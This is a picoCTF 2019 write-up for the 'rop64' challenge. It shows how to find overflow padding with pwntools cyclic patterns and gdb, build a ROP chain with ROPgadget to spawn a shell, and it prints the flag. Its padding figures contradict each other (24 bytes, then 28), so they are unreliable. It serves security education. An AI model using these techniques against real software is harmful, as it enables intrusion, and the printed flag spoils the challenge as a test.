> For the complete documentation index, see [llms.txt](https://picoctf2019.haydenhousen.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://picoctf2019.haydenhousen.com/binary-exploitation/rop64.md).

# rop64

## Problem

> Time for the classic ROP in 64-bit. Can you exploit this program to get a flag? You can find the program in /problems/rop64\_0\_4c66bec7dba72276ffa01e0ad2d6ec8f on the shell server. Source.

* [Program](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/rop64/vuln/README.md)
* [Source](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/rop64/vuln.c)

## Solution

1. Get Padding
   1. Run `python2 -c "from pwn import *; print cyclic(1000, n=8)" > fuzz.in`
   2. Start program in gdb (preferably with pwndbg extension) and run `r < fuzz.in` to start then `x $rbp` to get `0x6161616161616163:     Cannot access memory at address 0x6161616161616163`
   3. Run `python2 -c "from pwn import *; print cyclic_find(0x6161616161616163, n=8)"` to get padding of `16`
   4. Add 8 to padding because right after `16` is the "saved frame/base pointer" (which is 8 bytes because 64 bit program) and we want to modify the "saved return address" which is the next address in the stack. ([More Info](https://medium.com/@buff3r/basic-buffer-overflow-on-64-bit-architecture-3fb74bab3558))
   5. So padding is `'a'*(16+8)`
2. Use [ROPgadget](https://github.com/JonathanSalwan/ROPgadget) to run `python ROPgadget.py --binary ./vuln --rop --badbytes "0a"` to get ROP chain
3. Paste in padding of `'a'*28`
4. Run [script.py](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/rop64/script.py) for remote execution
5. Run `cat flag.txt` in the shell that spawns

### Flag

`picoCTF{rOp_t0_b1n_sH_w1tH_n3w_g4dg3t5_d4b7a298}`